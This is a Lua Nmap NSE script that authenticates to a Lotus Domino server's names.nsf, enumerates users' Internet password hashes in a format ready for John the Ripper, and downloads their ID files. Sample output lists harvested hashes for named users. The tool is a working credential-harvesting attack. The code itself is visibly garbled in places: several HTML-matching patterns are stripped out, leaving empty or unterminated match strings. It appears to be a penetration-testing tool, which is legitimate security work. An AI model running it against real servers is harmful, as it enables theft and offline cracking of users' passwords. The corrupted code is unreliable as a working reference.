description = [[ Attempts to enumerate the hashed Domino Internet Passwords that are (by default) accessible by all authenticated users. This script can also download any Domino ID Files attached to the Person document. ]] --- -- @usage -- nmap --script domino-enum-passwords -p 80 --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret -- -- This script attempts to enumerate the password hashes used to authenitcate -- to the Lotus Domino Web interface. By default, these hashes are accessible -- to every authenticated user. Passwords are presented in a form suitable for -- running in John the Ripper. -- -- The format can in two forms (http://comments.gmane.org/gmane.comp.security.openwall.john.user/785): -- 1. Saltless (legacy support?) -- Example: 355E98E7C7B59BD810ED845AD0FD2FC4 -- John's format name: lotus5 -- 2. Salted (also known as "More Secure Internet Password") -- Example: (GKjXibCW2Ml6juyQHUoP) -- John's format name: dominosec -- -- In addition the script can be used to download -- any ID files attached to the Person document. -- -- It appears as if form based authentication is enabled, basic authentication -- still works. Therefore the script should work in both scenarios. Valid -- credentials can either be supplied directly using the parameters username -- and password or indirectly from results of http-brute or http-form-brute. -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | domino-enum-passwords: -- | Information -- | Information retrieved as: "Jim Brass" -- | Internet hashes (salted, jtr: --format=DOMINOSEC) -- | Jim Brass:(GYvlbOz2idzni5peJUdD) -- | Warrick Brown:(GZghNctqAnJgyklUl2ml) -- | Gill Grissom:(GyhsteeXTr75YOSwW8mc) -- | David Hodges:(GZEJRHqJEVc5IZCsNX0U) -- | Ray Langston:(GE18MGVGD/8ftYMFaVlY) -- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj) -- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl) -- | Wendy Simms:(G6wooaElHpsvA4TPvSfi) -- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp) -- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM) -- | Internet hashes (unsalted, jtr: --format=lotus5) -- | Ada Lovelace:355E98E7C7B59BD810ED845AD0FD2FC4 -- | John Smith:655E98E7C7B59BD810ED845AD0FD2FD4 -- | ID Files -- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id) -- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id) -- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id) -- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id) -- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id) -- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id) -- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id) -- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id) -- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id) -- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id) -- | -- |_ Results limited to 10 results (see domino-enum-passwords.count) -- -- -- @args domino-enum-passwords.path points to the path protected by authentication -- @args domino-enum-passwords.hostname sets the host header in case of virtual hosting -- @args domino-enum-passwords.count the number of internet hashes and id files to fetch. -- If a negative value is given, all hashes and id files are retrieved (default: 10) -- @args domino-enum-passwords.idpath the path where downloaded ID files should be saved -- If not given, the script will only indicate if the ID file is donwloadable or not -- -- Version 0.2 -- Created 07/30/2010 - v0.1 - created by Patrik Karlsson -- Revised 07/31/2010 - v0.2 - add support for downloading ID files -- Revised 11/25/2010 - v0.3 - added support for separating hash-type author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive", "auth"} dependencies = {"http-brute", "http-form-brute"} require 'shortport' require 'http' portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open") --- Checks if the path require authentication -- -- @param host table as received by the action function or the name specified -- in the hostname argument -- @param port table as received by the action function -- @param path against which to check if authentication is required local function requiresAuth( host, port, path ) local result = http.get(host, port, "/names.nsf") if ( result.status == 401 ) then return true elseif ( result.status == 200 and result.body and result.body:match("path -- -- @param host table as received by the action function or the name specified -- in the hostname argument -- @param port as recieved by the action method -- @param path the patch against which to validate the credentials -- @param user the username used for authentication -- @param pass the password used for authentication -- @return true on valid access, false on failure local function isValidCredential( host, port, path, user, pass ) -- we need to supply the no_cache directive, or else the http library -- incorrectly tells us that the authentication was successfull local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true }) if ( result.status == 401 ) then return false end return true end --- Retrieves all uniq links in a pages -- -- @param body the html content of the recieved page -- @param filter a filter to use for additional link filtering -- @param links [optional] table containing previousy retrieved links -- @return links table containing retrieved links local function getLinks( body, filter, links ) local tmp = {} local links = links or {} local filter = filter or ".*" if ( not(body) ) then return end for _, v in ipairs( links ) do tmp[v] = true end for link in body:gmatch("") local http_passwd = body:match("") local dsp_http_passwd = body:match("") local id_file = body:match("") -- Remove the parenthesis around the password http_passwd = http_passwd:sub(2,-2) -- In case we have more than one full name, return only the last full_name = stdnse.strsplit(";%s*", full_name) full_name = full_name[#full_name] return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file } end --- Saves the ID file to disk -- -- @param filename string containing the name and full path to the file -- @param data contains the data -- @return status true on success, false on failure -- @return err string containing error message if status is false local function saveIDFile( filename, data ) local f = io.open( filename, "w") if ( not(f) ) then return false, ("Failed to open file (%s)"):format(filename) end if ( not(f:write( data ) ) ) then return false, ("Failed to write file (%s)"):format(filename) end f:close() return true end action = function(host, port) local path = "/names.nsf" local download_path = nmap.registry.args['domino-enum-passwords.idpath'] local vhost= nmap.registry.args['domino-enum-passwords.hostname'] local user = nmap.registry.args['domino-enum-passwords.username'] local pass = nmap.registry.args['domino-enum-passwords.password'] local creds, pos, pager local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{} local chunk_size = 30 local max_fetch = nmap.registry.args['domino-enum-passwords.count'] and tonumber(nmap.registry.args['domino-enum-passwords.count']) or 10 local http_response if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then creds = nmap.registry['credentials']['http'] end -- authentication required? if ( requiresAuth( vhost or host, port, path ) ) then if ( not(user) and not(creds) ) then return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)" end -- A user was provided, attempt to authenticate if ( user ) then if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then return " \n ERROR: The provided credentials where invalid" end elseif ( creds ) then for _, cred in pairs(creds) do if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then user = cred.username pass = cred.password break end end end end if ( not(user) and not(pass) ) then return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)" end path = "/names.nsf/People?OpenView" http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) pager = getPager( http_response.body ) if ( not(pager) ) then if ( http_response.body and http_response.body:match(".*\.*" ) ) then return " \n ERROR: Failed to authenticate" else return " \n ERROR: Failed to process results" end end pos = 1 -- first collect all links while( true ) do path = pager .. "&Start=" .. pos http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) if ( http_response.status == 200 ) then local size = #links links = getLinks( http_response.body, "%?OpenDocument", links ) -- No additions were made if ( size == #links ) then break end end if ( max_fetch > 0 and max_fetch < #links ) then break end pos = pos + chunk_size end for _, link in ipairs(links) do stdnse.print_debug(2, "Fetching link: %s", link) http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true }) local u_details = getUserDetails( http_response.body ) if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then break end if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then stdnse.print_debug(2, "Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd) -- Old type are 32 bytes, new are 20 if #u_details.passwd == 32 then table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd)) else table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd)) end end if ( u_details.idfile ) then stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname) if ( download_path ) then stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name) http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true }) if ( http_response.status == 200 ) then local status, err = saveIDFile( ("%s/%s.id"):format(download_path, u_details.fullname), http_response.body ) if ( status ) then table.insert( id_files, ("%s ID File has been downloaded (%s/%s.id)"):format(u_details.fullname, download_path, u_details.fullname) ) else table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) ) end else table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) ) end else table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) ) end end end if( #hashes + #legacyHashes > 0) then table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } ) end if ( #hashes ) then hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)" table.insert( result, hashes ) end if (#legacyHashes ) then legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)" table.insert( result, legacyHashes ) end if ( #id_files ) then id_files.name = "ID Files" table.insert( result, id_files ) end local result = stdnse.format_output(true, result) if ( max_fetch > 0 ) then result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch) end return result end